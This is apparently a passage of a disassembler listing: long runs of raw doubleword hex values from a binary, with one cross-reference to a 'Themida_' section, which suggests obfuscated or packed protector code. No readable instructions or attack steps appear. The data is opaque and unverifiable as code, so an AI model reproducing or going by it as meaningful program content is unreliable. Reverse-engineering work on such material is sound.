		dd 4AAF6EB7h, 6A4286D2h, 1C406B4Bh, 739AA9D5h, 0D8632966h
		dd 42DDEDBFh, 7D304B6Ah, 0D3701A27h, 0FC0177B8h, 6ABB1FF7h
		dd 43E7B4D7h, 0D218F481h, 0AB94FF3Eh, 262168E1h, 6EAB8CE7h
		dd 0B3FE2221h, 0F1178C7h, 32EA0F54h, 454AB083h,	0DF1C416Ch
		dd 345A28ADh, 3C6E86AEh, 632B9CFDh, 82759D7Eh, 0DF0C3B4Fh
		dd 0DC075D9Ch, 0F20696FBh, 27554D36h, 0E0BFE2Eh, 0A1E01CF2h
		dd 0F82D1A60h, 38867BDh, 7A000000h, 67773CBh, 0B9C3E83Dh
		dd 68105D8Eh, 19618EDFh, 0CAB4F92Ah, 7B03287Dh,	27529FCCh
		dd 0DDA2CF1Ch, 8BF03D6Eh, 53696FBCh, 0C381E389h, 4, 8704EB83h
		dd 895C241Ch, 1968240Ch, 89000079h, 10682434h, 8900002Dh
		dd 0BA522404h, 5C170A67h, 0C142D2F7h, 4A4207E2h, 0EA81DAF7h
		dd 55DB395h, 545AD689h,	8124048Bh, 4C4h, 4EC8100h, 89000000h
		dd 408F2434h, 2434FF08h, 4C48158h, 8B000000h, 89502434h
		dd 405E0h, 0C0830000h, 24048704h, 0F849E95Ch, 1CCCFFFAh
		dd 36A1D62Bh, 1FFA874Ch, 278A27B8h, 8BC50306h, 0FAE9C3h
		dd 66600000h, 0AE5DEA81h, 0EE8h, 0E55C9E00h, 0E3D3A80Eh
		dd 2787EFA7h, 0F0C6812h, 8Ah, 8D615B00h, 278B13B5h, 1850F06h
		dd 0F5000000h, 5745858Dh, 10E90625h, 0C5000000h, 0D309B6E7h
		dd 99DEB772h, 0BA1B9203h, 0FF3C5073h, 1850FD0h,	0FC000000h
		dd 8870FC3h, 0F000000h,	283h, 66616000h, 0F60D98Ch, 82h
		dd 28A0F00h, 56000000h,	0C1F66159h, 3F840F04h, 0F000000h
		dd 189h, 0FB8BF500h, 0C032CB8Bh, 2BFD75AEh, 2BD9F7CFh
		dd 49D78BF9h, 0EBD98Bh,	13F20CDh, 0C00B0001h, 708D1874h
		dd 8BFA8B0Ch, 0A75A6CBh, 0B8FA7549h, 1,	8B09EBh, 0B8E4EBh
		dd 0CF000000h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 19h,	54C35242h, 11E256BBh, 11E982h, 0A3080000h, 0D0168EEDh
		dd 0A99DADE8h, 8713F2CEh, 0F5A79DCBh, 8B4E85C7h, 13F0627h
		dd 10E80001h, 6A000000h, 0C5188872h, 0EEA4C5A6h, 2C273152h
		dd 5059F1B2h, 0BE665A5Bh, 0C2810C89h, 59BFh, 5E9h, 2C1A7C00h
		dd 9DBF9B37h, 812EED98h, 0ED8EDFF7h, 99CB812Eh,	0FF2DD21Bh
		dd 0BB665932h, 0F1810A90h, 68A0B6F2h, 0C4B1BE66h, 0AB64F181h
		dd 81665F10h, 8185E8D6h, 2EF0AC1h, 0EAD0814Bh, 513518B5h
		dd 4104D381h, 28F78F4h,	0E7DEB866h, 0D9F1EA81h,	0BE66156Bh
		dd 0C281C885h, 156BD9EDh, 9E9h,	84618F00h, 0E8DE6406h
		dd 0F4F9ABBh, 0FFFFA685h, 0EE960FFh, 67000000h,	4D8CEB9Dh
		dd 0B1D5D7F4h, 7AF66191h, 0FE929h, 9CE50000h, 0AD0E8FDh
		dd 38FEA05Eh, 948C84B7h, 66E96149h, 60000002h, 0F6D98C66h
		dd 840F04C1h, 35h, 0B5FF016Ah, 62233A9h, 7DBE858Dh, 0D0FF0625h
		dd 7818589h, 0FE8B0622h, 680CEFC1h, 20060000h, 26A006Ah
		dd 0D6857h, 95FF0001h, 6220781h, 32E9h,	985C600h, 56062233h
		dd 0C530DF68h, 49B5FFA9h, 8D062226h, 257DBE85h,	89D0FF06h
		dd 22244185h, 0E1858D06h, 50062219h, 56A406Ah, 4195FF56h
		dd 61062224h, 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 8CF98589h, 428B0627h, 0F185890Ch
		dd 8B06278Ch, 85891042h, 6278CF5h, 8D2FB58Dh, 858D0627h
		dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 278CF9B5h, 0F1858B06h
		dd 8306278Ch, 278CF5BDh, 840F0006h, 7, 2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 0F9858908h, 8D06278Ch,	278D80B5h
		dd 0A1858D06h, 0FF005B8Eh, 8B5A61D0h, 278CF985h, 4C206h
		dd 8CF9858Bh, 8B0627h, 8CF98589h, 0CF0627h, 60000000h
		dd 8D56B589h, 85890627h, 6278D52h, 18CD858Dh, 408B0622h
		dd 8F858944h, 8D06278Dh, 278DC5B5h, 0A1858D06h,	0FF005B8Eh
		dd 858B61D0h, 6278D56h,	529D8BC3h, 0F06278Dh, 33C43B7h
		dd 785B8BD8h, 8D529D03h, 738B0627h, 52B50324h, 5606278Dh
		dd 8B207B8Bh, 0BD031C73h, 6278D52h, 8D52B503h, 83FC0627h
		dd 8B41FFC9h, 278D569Dh, 3178B06h, 278D5295h, 4C78306h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 278D5285h,	56858906h, 8B06278Dh, 8BCE8BF0h
		dd 8FBD81C1h, 6278Dh, 0FC03000h, 0D85h,	14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 6278D8Fh
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 8FBD8100h
		dd 6278Dh, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 6278D8Fh, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0FD858DCFh
		dd 8906278Ch, 2225B585h, 93858D06h, 8906278Dh, 22311985h
		dd 5A858D06h, 8906278Dh, 220B3985h, 13CE906h, 4Fh dup(0)
		dd 0BD830000h, 6221B85h, 0DE840F01h, 0F000004h,	168Dh
		dd 11E900h, 74820000h, 1449D6E3h, 347A839Ah, 58804D60h
		dd 0C676F864h, 22330985h, 60604306h, 8DE7E081h,	0B70F590Fh
		dd 816661DFh, 61FA8BE1h, 0F9EA3468h, 890F60EBh,	6, 310F5250h
		dd 8161585Ah, 3AC12434h, 820F075Ch, 8, 665E5160h, 614F88B8h
		dd 2649B5FFh, 6A0622h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 0B88FBC3h, 0BE9A6h, 44490000h, 0C1DEAF17h
		dd 0A3735BA2h, 0BE858DEEh, 0E906257Dh, 10h, 0DDF3E7F8h
		dd 56AED9F8h, 1900BD9Fh, 34F8C2D3h, 800FD0FFh, 1, 698589FCh
		dd 0F062213h, 1981h, 14E900h, 29FD0000h, 0E03F26DDh, 1D5C36B1h
		dd 1984B2F1h, 0A616DC8Fh, 85C6A950h, 6223309h, 50006A50h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1C04h, 0C3504000h
		dd 18572F3Dh, 0D9260F9Ah, 0F6060DCh, 34BBD7BFh,	61308350h
		dd 0FE8h, 7B4F1D00h, 0E66B653Ah, 3F3210BAh, 4D512C1Ch
		dd 8E9h, 0D1E09F00h, 2733A64Bh,	0F9615ACEh, 13E960h, 89B80000h
		dd 9228A9EFh, 0EC3681C2h, 8A147985h, 3CAF2519h,	5DBF66B0h
		dd 0EB68612Bh, 5039666Eh, 68F0F52h, 0F000000h, 8Bh, 50310F00h
		dd 0F616052h, 0EE931h, 0DCB20000h, 0C5DF3F6Bh, 5EF4CED3h
		dd 0DB9416EAh, 585A585Ah, 6B240481h, 0E96F473Eh, 7, 87417C7Dh
		dd 0FFAF1159h, 222649B5h, 0C8816006h, 398DC5D6h, 0BE858D61h
		dd 6A06257Dh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1A042444h, 40000000h, 0B541C350h, 502E388Fh,	0D0FFF5E1h
		dd 0EF68060h, 2810Fh, 0AAB20000h, 5850F61h, 60000000h
		dd 615857FCh, 2CC98589h, 8A600622h, 0D96861E2h,	0E9808E32h
		dd 11h,	184D88FDh, 0DB88AB50h, 0F35C0CF6h, 312BBDA0h, 2404813Eh
		dd 70017556h, 4E0EBB60h, 0FF6138A7h, 222649B5h,	7880F06h
		dd 0F000000h, 18Eh, 890FF800h, 0Eh, 9E9h, 28D6D000h, 347129B9h
		dd 858D0BF1h, 6257DBEh,	0DE9h, 0A0F77500h, 760E8BD1h, 0A056996Bh
		dd 0D0FFC6C6h, 0DB37BA60h, 0E9606778h, 14h, 57D6B92Fh
		dd 3B1CFC89h, 475D5329h, 2DAF3C5Ch, 0CBB7AD8h, 0E4A3C081h
		dd 61617C1Fh, 29018589h, 800F0622h, 10h, 0BE9h,	8B91900h
		dd 459E10D6h, 3AF78F3Ah, 330985C6h, 6A500622h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 3ADFC351h, 441851F1h, 78D0FB4h, 0F000000h, 189h, 0D468FC00h
		dd 50A67FBDh, 6EBB6052h, 535E9FCCh, 310F615Bh, 2850Fh
		dd 61600000h, 3481585Ah, 0E3618224h, 50006A31h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 96B0301Ch
		dd 0FCC79F60h, 0FBB70F60h, 0F08BF960h, 0B5FF6161h, 62233A9h
		dd 81665060h, 585239D9h, 0F1858D61h, 0F06223Ah,	1285h
		dd 0DE900h, 69D0000h, 6B0CD3A3h, 27C437CFh, 0FF80D209h
		dd 816660D0h, 6141F5D0h, 0FE9h,	4A159000h, 2D486519h, 50B09A8Bh
		dd 345F8673h, 3318589h,	10E90622h, 6C000000h, 6A7EA0DEh
		dd 3501D5E7h, 0A781357Dh, 0E91DF96Dh, 14Dh, 4850Fh, 8A600000h
		dd 50F861F1h, 860F5250h, 2, 310F6160h, 8E0F60h,	61000000h
		dd 2C89585Ah, 0EC8BF824h, 0CE9h, 4CE9E000h, 0F85D8A20h
		dd 0A29D7C59h, 0FCC4835Fh, 10E960F9h, 28000000h, 7405F024h
		dd 0A2655B5Ch, 2CBBDA97h, 0E80F65E6h, 0
		dd 3CEA815Ah, 0C7062794h, 0FC45h, 0BA830000h, 6221B85h
		dd 98840F01h, 52000000h, 0F6A006Ah, 136992FFh, 895A0622h
		dd 278F0A82h, 0E9A8D06h, 5206278Fh, 12803C7h, 50530000h
		dd 2CC992FFh, 525A0622h, 8F0E9A8Dh, 0FF530627h,	278F0AB2h
		dd 3192FF06h, 5A062203h, 5074C00Bh, 8F0E9A8Dh, 7B8D0627h
		dd 81C93324h, 104F9h, 41D47400h, 2E393C81h, 75455845h
		dd 39348DEEh, 8D0C752Bh, 222235BAh, 0C4D8B06h, 0C032A4F3h
		dd 75FF52AAh, 35828D08h, 50062222h, 290192FFh, 0B5A0622h
		dd 0C7A075C0h, 1FC45h, 7EB0000h, 0FC45C7h, 61000000h, 0C9FC458Bh
		dd 6A0008C2h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E9AFC355h, 6,	826A2BA0h, 0FF5AA82h
		dd 0C8Bh, 68A0F00h, 0F000000h, 8Dh, 8DD28B00h, 2796478Dh
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 6650A616h, 0D8D6E681h, 33F18D89h, 6A0622h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 0E1B1C5C3h, 530B03E0h, 8A652E27h, 9E960E7h, 0CE000000h
		dd 4D82F747h, 0E130731Ah, 0FCD28060h, 820Fh, 61610000h
		dd 2D3185C7h, 64B00622h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0AE88DC3h, 36000000h
		dd 0BE99C3E8h, 0E0C22B18h, 0D59D23DAh, 5F06220Fh, 30E585C7h
		dd 622h, 0B5FF0000h, 6221311h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 0E2C35646h,	0A31B611Ch, 0F03309D6h
		dd 8BD98A7Ah, 6595FFF8h, 6A062220h, 3E85500h
dword_553E68	dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
					; DATA XREF: Themida_:0051DAA6o
		dd 4E13C355h, 742BEA45h, 95FF006Ah, 6223075h, 4BEBC08Bh
		dd 0CB2C0EA1h, 29F951C0h, 69C59DB1h, 46807B6Dh,	1B65EA77h
		dd 4FBEE627h, 5CB78012h, 110717CCh, 4F9AD8CDh, 0B893273Eh
		dd 0A1F0C024h, 87602E08h, 7CBA3A0Eh, 79723574h,	0D1BDB1Bh
		dd 0A84D1880h, 959CFDA8h, 4F1A31CFh, 8D5B76BEh,	2797928Dh
		dd 95958B06h, 89062225h, 2233F18Dh, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 6586E91Ah
		dd 4E2855EFh, 0EAB849CCh, 81195839h, 749C3AC6h,	3185C703h
		dd 0CC06222Dh, 6A000064h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 3FBFC350h, 870F66C3h
		dd 18h,	13E9h, 2EAEA100h, 85DDAE2Eh, 0EA474BC0h, 0F5162D95h
		dd 0D97C35A6h, 30E585C7h, 622h,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 806DCCC3h
		dd 0B5FFC28Bh, 62225EDh, 0E63C5CBBh, 95FFF91Bh,	6222065h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0FFC35040h
		dd 269908Eh, 8E95F71h, 58000000h, 0E5369811h, 6A4D9940h
		dd 7595FF00h, 8B062230h, 0D759EBC0h, 61476893h,	9C3D84Ch
		dd 0BE0891A6h, 0A9815F79h, 9727F27Ah, 68D494C9h, 0F2516B8Eh
		dd 95E5CDCCh, 593221Eh,	0F9966BB5h, 2AE580F0h, 4B6CE605h
		dd 0B25388B3h, 9395D85Eh, 6BEA0526h, 8C37079Dh,	0E2D55EF9h
		dd 41DE2F0Eh, 42419191h, 0F78E9C40h, 0FAA31F73h, 0F8712503h
		dd 9E8h, 21F38B00h, 81A6B95Fh, 0B58BC632h, 6220541h, 15BD2958h
		dd 81062216h, 595DC0h, 7DB50900h, 33062215h, 0FFC60FFh
		dd 0FF61C8BFh, 0B5310734h, 6221DD5h, 81D38B5Bh,	82EFC5C3h
		dd 6D85297Ch, 81062228h, 0EEF87EBh, 958D8B03h, 8106221Ch
		dd 2BF39DC3h, 0C5853145h, 53062200h, 0D88B6660h, 0DE8h
		dd 7572F900h, 71EB1009h, 9A84C5C6h, 95BE8453h, 5A27321Eh
		dd 38048F61h, 2609B533h, 0B58B0622h, 6220789h, 878EF81h
		dd 8D8B0F6Eh, 62205A5h,	874C781h, 0FF810F6Eh, 0FFFFA770h
		dd 1D850Fh, 81660000h, 0E94DEFF1h, 22h,	0A5DAA152h, 0E941BD4h
		dd 541359A9h, 7C7386CFh, 0E9B5ACFFh, 0FFFFFF63h, 0A61D1BCBh
		dd 0D0DD9BADh, 33E97BA9h, 9E000000h, 5B84D9h, 0Bh dup(0)
		dd 0E6E90000h, 74000005h, 0EAD73E09h, 464BA2A1h, 0BEE30A39h
		dd 281970CBh, 0B88ED966h, 300F7FB8h, 0A5A2E8D9h, 833454Ah
		dd 73CCB0E1h, 1488D118h, 411DA2C4h, 77BD6529h, 0C4E93A05h
		dd 3D628DBAh, 0A2A7F44Fh, 3B9BAF7Dh, 0F6A6473Ah, 473A3BA2h
		dd 0D0DB6457h, 2C17658Ch, 80BBCECBh, 97E4095Ch,	648D7BA8h
		dd 830B0804h, 1B5497C4h, 648DD370h, 0F3C42F18h,	2B69D2A6h
		dd 0A6C17A0Eh, 0D3340F79h, 5834B872h, 0E93780D9h, 5CEB9FDCh
		dd 3246D63Bh, 17473AB2h, 77B6E764h, 357C5CAh, 0F6473AB2h
		dd 0D5884C7h, 0DEA198E0h, 0BEF13C61h, 0C3B406Dh, 0A8C029DFh
		dd 0C127AA82h, 0C32A1563h, 0F9B3AEDEh, 473AB2D1h, 0E5366944h
		dd 3AB20457h, 2543AE47h, 0F3526FE2h, 674A51h, 77D00000h
		dd 5BE93A05h, 473A3B0Dh, 321A5EA3h, 0FE1BD851h,	0C81494FEh
		dd 0F33F114Ch, 0BA451h,	0EACF0000h, 3AAAE632h, 7CA00B47h
		dd 490477A0h, 89D4F946h, 0A3E80556h, 3162E1AAh,	4D62B3F2h
		dd 1DE6033Ch, 0F5898763h, 0DD0CE9A3h, 0E4B871F5h, 0FB6DB8E4h
		dd 512FA7Eh, 8FBCC37Ah,	80DC1F5Eh, 0DA351279h, 759CA7D5h
		dd 380777D9h, 96B5C6EBh, 0EB542471h, 0D85190B5h, 6BFA84A0h
		dd 3A3B69B1h, 0EE218C47h, 47008C89h, 0C3C9F619h, 68121F78h
		dd 499AA9D5h, 7BBAEB2Ah, 0A4EB0025h, 1FDA76A7h,	0D9CBB6D9h
		dd 0C00E51F3h, 0A9000000h, 7D8D1F44h, 90473A31h, 313F4B1Dh
		dd 0DBD2473Ah, 777E985h, 0B9C6EB38h, 59206D8Ah,	0FD6BB2EEh
		dd 51EA9F9Ch, 0B6B3E10Ch, 1969DA32h, 91B97365h,	84473A4Bh
		dd 8DFF4C29h, 800E2B69h, 0F64FA8C3h, 92A7DDF7h,	23A55E5Bh
		dd 0E8125976h, 830B366Ah, 917297C4h, 9A3689A0h,	0DDE438CAh
		dd 0CAD129ACh, 6D56C537h, 0AA57F92Ah, 0FB563B4Eh, 7E8351F2h
		dd 8B000000h, 1B28525Fh, 3B1A2EFEh, 0BCFF473Ah,	16355960h
		dd 6BD4A4F1h, 80A5FB3Ah, 0C5221D6Bh, 0E1C44D7Ch, 0CAA28B38h
		dd 473AA8BEh, 0C0195853h, 3AA81C2Ch, 66BAF147h,	0BE3A3747h
		dd 414AF54Eh, 0B79D49D0h, 0E233107Ah, 2A549DC3h, 5F58F21Dh
		dd 0F14E3D7Ah, 8BDF81ACh, 6E473A3Bh, 0A3E8114Fh, 0B11277A4h
		dd 94E41F42h, 0D1C0D2ABh, 354F62Ah, 0AB473A61h,	72EF2246h
		dd 4751F381h, 1, 810877CFh, 6B21C393h, 0A3F033D4h, 2445FE8Eh
		dd 4498A7D7h, 266EB21h,	87EE5D22h, 1871BEB5h, 88D4731Bh
		dd 67176449h, 34688BD8h, 18170192h, 9ECFEE49h, 0F7102B51h
		dd 49CE1A92h, 88234118h, 0E12E0B54h, 0C7138998h, 2A411849h
		dd 6A134083h, 5CE2D122h, 316FAE92h, 6ABB8408h, 0CDB0946Dh
		dd 0D358432Ch, 18D93159h, 96C9E441h, 0CA163559h, 18D9EA30h
		dd 1EE7E241h, 0DBA4EAD8h, 7FC3F6Ch, 513A9B2Ch, 846DB3F2h
		dd 83BCC064h, 0EB1F9D66h, 0CE0F5BD1h, 0CBE24118h, 7AA91A32h
		dd 7F7BB8ABh, 4589BD8h,	0C9B1FEDBh, 7B8F1D7Ah, 9E411859h
		dd 0D4B8C11Fh, 598BDF4Dh, 4F6E4118h, 0EA92DF0Ch, 91FB3851h
		dd 291679B6h, 7297D2EBh, 594B9F0Dh, 2E5E4118h, 9CA5C015h
		dd 266C311h, 86E15A22h,	0B5674CB1h, 41185965h, 27732588h
		dd 0CA411859h, 0E499BDE3h, 3D4BD179h, 553444D8h, 61294118h
		dd 25E5DE2h, 12603h, 0AB580B00h, 0AA690364h, 9B49182Ah
		dd 8CD16A1Eh, 0EC2F1C6Fh, 9AFB4CADh, 2D2004E6h,	0C5C6C00h
		dd 0FAB14118h, 2B4065BBh, 828FE661h, 0DF1C41FAh, 264192ADh
		dd 2755CF29h, 2C21F51Ch, 894BD1A5h, 41h, 6FA85891h, 8BEC2F1Ch
		dd 736C2911h, 0B4C7D411h, 0F9274697h, 0F0C6D40h, 519CC17Ah
		dd 1E2AFA03h, 20C73A3Bh, 0F44DBF39h, 68E56439h,	6670ACEBh
		dd 56C6236Ah, 91731FE2h, 568DE4D7h, 0A3h, 64AB58BCh, 3DC66903h
		dd 84374918h, 0E6651663h, 296663BAh, 76B5E665h,	0ABE95639h
		dd 2A45FE8Eh, 0DAA297E5h, 0E4C92E61h, 1835E008h, 7AA61541h
		dd 35B09123h, 0E14C4118h, 0EE3C8587h, 0CA65C2DFh, 0FC80A9F7h
		dd 1BC82843h, 5689B2DAh, 7E27B31h, 208B4F39h, 0BA21E2C7h
		dd 1293877h, 0B2C515C7h, 85284B70h, 0D907404Ch,	2C1D6F8Ch
		dd 0AF9CEE5Fh, 0BDFC3F7Eh, 392C5F5Ch, 70B25763h, 0B0F3BA4Bh
		dd 0E6F3596Ch, 75DE91Dh, 0E4386738h, 7D76DB1Dh,	0B4F75038h
		dd 217CD953h, 802D4551h, 0DD184DFAh, 5FDB739Ah,	3B96A27Ah
		dd 307B473Ah, 3B3545D7h, 0D5D8473Ah, 49964D8Fh,	0D3E17C30h
		dd 6D52491Bh, 0A2449408h, 2A9411Dh, 1DA20652h, 9CC0EB41h
		dd 80C516A5h, 0BE4F30C7h, 0F98972D1h, 0B28DFB12h, 0DD034261h
		dd 345FE894h, 0CE0810Bh, 411D26FCh, 0A5B9A11h, 0B1E8A67Ah
		dd 8FE900F5h, 355CE795h, 96C7800Ch, 87AD3059h, 0FCB88576h
		dd 0A235C7BCh, 1770107h, 0CAB79DCEh, 3D0676AEh,	0A49FEDD2h
		dd 1BE877h, 0AAE70000h,	0F43764DFh, 2172CDBBh, 0CB06DE02h
		dd 3D9175CEh, 0E16DF30Fh, 366AAD9Ah, 3D06779Eh,	8EB9C3E8h
		dd 0DF68105Dh, 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh
		dd 6EDDA2CFh, 0BC8BF03Dh, 3168696Fh, 89000001h,	8950242Ch
		dd 405E0h, 0E8830000h, 24048704h, 2404895Ch, 81E78957h
		dd 4C7h, 4EF8300h, 5C243C87h, 52243C89h, 279903BAh, 34815206h
		dd 7C632E24h, 2E355854h, 5A547C63h, 243C8B54h, 8104C483h
		dd 4ECh, 24048900h, 14242C81h, 8F32C07Bh, 47810847h, 0C07B1408h
		dd 2434FF32h, 4C4835Fh,	5724048Bh, 0C781E789h, 4, 8704C783h
		dd 0E95C243Ch, 0FFFAE3FFh, 0CB702CADh, 9E62B864h, 0C5030627h
		dd 0CC40E0FFh, 0AC552114h, 0BBA35AC6h, 6A280214h, 6DDC2242h
		dd 0B4F93EF7h, 0A8E1150h, 89AA7AF0h, 125C65DFh,	0BE2E1F1Fh
		dd 629C2B3Bh, 7033F279h, 344B066Dh, 717C7A11h, 8495FCC0h
		dd 84518183h, 0F06033FDh, 4A8D16Dh, 896E1D69h, 32D43335h
		dd 44FE3CC1h, 5EBD33C0h, 373663C0h, 146F33C0h, 0BDEFF098h
		dd 0B5DF1784h, 21E91784h, 74F633C0h, 31F9F090h,	0FC54E24Bh
		dd 5EDE33C3h, 378764C0h, 14B733C0h, 0BD84F09Fh,	0B5E917BCh
		dd 2EF21784h, 737B33C0h, 9F8EF097h, 0BA08BD6Dh,	347EDB09h
		dd 439A33C0h, 0DDBB433Bh, 24A7410Ch, 41B15FA2h,	52096D0Ch
		dd 6D54E779h, 34DE3929h, 4269C5C0h, 0D6211133h,	0B7616611h
		dd 16CF3A7Dh, 0B0F933C6h, 347B339Eh, 0DCEC33AAh, 34DE33C3h
		dd 6DAC6AE0h, 30937F49h, 30FF7741h, 34ED33D5h, 0F0356281h
		dd 3469DB9Bh, 7BF333C0h, 0D7DB9A62h, 8FEAF5F1h,	524EF781h
		dd 4D610ABAh, 37D8DA99h, 349C33C0h, 3478DB96h, 6A9D33C0h
		dd 40576D03h, 70EE37E4h, 34A037E4h, 629D33C0h, 0FC9EA103h
		dd 434D89CAh, 0B1F62979h, 329AACF2h, 0DC8F33AAh, 346F33C3h
		dd 6D746AE0h, 30FF7F49h, 30C97741h, 34F633DDh, 87B86281h
		dd 7AAE78CCh, 40F5D985h, 32E83C2Ah, 0B5B733C0h,	0DF55DD09h
		dd 648D6383h, 3B975392h, 6E2265F1h, 6AED6198h, 30575299h
		dd 0C3EE55E4h, 0B13AB255h, 32FCACD4h, 8C0FB2A6h, 0BF906339h
		dd 107FBA38h, 0DCE833AAh, 34DE33C3h, 69AC6EE0h,	30935F49h
		dd 30FF7741h, 34ED33D6h, 5E356685h, 0B51D751Fh,	0CB30911Fh
		dd 16C80655h, 31E13CC6h, 8BB733C0h, 51F0E2A7h, 896EF34Bh
		dd 32D43B1Dh, 0B77246C0h, 16B7127Dh, 2DAA33C6h,	0F4E46090h
		dd 34B34978h, 0D5EBAC0h, 0B9EB11DBh, 1049FA5Dh,	6FA8CCC6h
		dd 1500B098h, 34D811CAh, 673F24B4h, 34B34978h, 0D5EBAC0h
		dd 0B9EB11DBh
		dd 104A8B5Dh, 6FA8CCC6h, 34A9DA98h, 7D8733C0h, 81409885h
		dd 0D594D9CDh, 0DBBC0862h, 4404BF07h, 0BF90952Eh, 5EBBB833h
		dd 375561C0h, 14DE33C0h, 0BD35F09Ah, 0B5B31794h, 20DF1784h
		dd 76ED33C0h, 5235F092h, 6728187Ah, 776BB2A0h, 55811341h
		dd 28F2BE9Fh, 5EB1145Fh, 373363C0h, 14ED33C0h, 0BDAEF098h
		dd 0B57F1784h, 2DB91784h, 74DE33C0h, 755F090h, 48D3FF3Bh
		dd 3B2CE940h, 34ED3041h, 2B28B3C0h, 0BEA8B64Dh,	0C23C35E7h
		dd 2CD156B6h, 0BF60E33Fh, 34B733CBh, 345C3CA0h,	52ED33C0h
		dd 3F97E34Bh, 18FF3C00h, 52BD33C0h, 0AD67E44Bh,	0B96DFFB4h
		dd 16E7825Dh, 0E90889C6h, 37556C98h, 3BF633C0h,	347B3149h
		dd 0CB56B9C0h, 3B895323h, 346F3340h, 0B9D66CC0h, 1344175Dh
		dd 0E768BEC6h, 54F0144Ah, 31A5B239h, 55E4962Dh,	0C355E33Fh
		dd 0B060F3CBh, 34B733BDh, 0DC8C33AAh, 34ED33C3h, 6B356CE0h
		dd 305F4F49h, 30997741h, 34DE33DCh, 0A1AC6487h,	6F7AA1B5h
		dd 6D1F9214h, 37EFAE7Eh, 856BBE95h, 5E7D1190h, 375562C0h
		dd 14DE33C0h, 0BD36F099h, 0B5B3178Ch, 2DDF1784h, 75ED33C0h
		dd 6964F091h, 56F681B0h, 0CF87D441h, 3566726Fh,	3B6F33C0h
		dd 0D637E27Fh, 0DC38CCD1h, 34ED33D4h, 8CABF9BBh, 5BD601BEh
		dd 79085C5Ch, 22B15C3h,	1E37A5B8h, 1D2ABE9Ah, 0DCDD145Fh
		dd 34ED33D0h, 0F0800233h, 2DF069F4h, 91935484h,	301C9420h
		dd 62EA8AA6h, 0E732BE9Ah, 8EDD144Ah, 37779BEEh,	34F63C29h
		dd 4D9E2AC0h, 0D4A7BB74h, 842B6342h, 0F57C165h,	0DE36E33Fh
		dd 232291B1h, 0B0E2F3CBh, 34F633B3h, 0B980B8A6h, 16ED825Dh
		dd 63DE59C6h, 346F3028h, 0F7E813C0h, 10A7BA9Fh,	10A9B2C4h
		dd 34F629C4h, 0F72C74C0h, 8EE27FAEh, 0DD3D886Fh, 346F33CBh
		dd 68744EE3h, 0FF66B398h, 3B7FD233h, 34F63548h,	5F99B2C0h
		dd 8CFF1F01h, 34DE33C3h, 0CBA184CFh, 65B75923h,	34DB3028h
		dd 0F7B413C0h, 10BABA99h, 103FB2C4h, 34BD2AC4h,	0F78F72C0h
		dd 60540A3Dh, 774EDA37h, 34DFB9CFh, 8D8B33C0h, 897BCC10h
		dd 325CACD2h, 97E7BE4Dh, 496635E7h, 7E5789Ch, 16BD4645h
		dd 0F51418C6h, 5DB93129h, 0C6134417h, 4AE768BEh, 3954F014h
		dd 2D31A5B2h, 3F55E496h, 0E98355E3h, 8BA4F305h,	82BAF9C0h
		dd 8B280210h, 8BF781C3h, 8B4D8C45h, 3810FC0h, 66000000h
		dd 0BD83CB8Bh, 62208DDh, 83097500h, 220A21BDh, 19740006h
		dd 0C08B5350h, 47AB8h, 59858900h, 8D06220Eh, 24C0309Dh
		dd 5BD3FF06h, 21BD8358h, 6220Ah, 53501774h, 47AB8h, 59858900h
		dd 8D06220Eh, 24BCD19Dh, 5BD3FF06h, 0D1816658h,	0BA660794h
		dd 0CE9DAEAh, 0F7000000h, 776A2ED2h, 4DFD8B5Eh,	8B8749BBh
		dd 1C8E9C0h, 88880000h,	7 dup(88880041h), 41h, 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
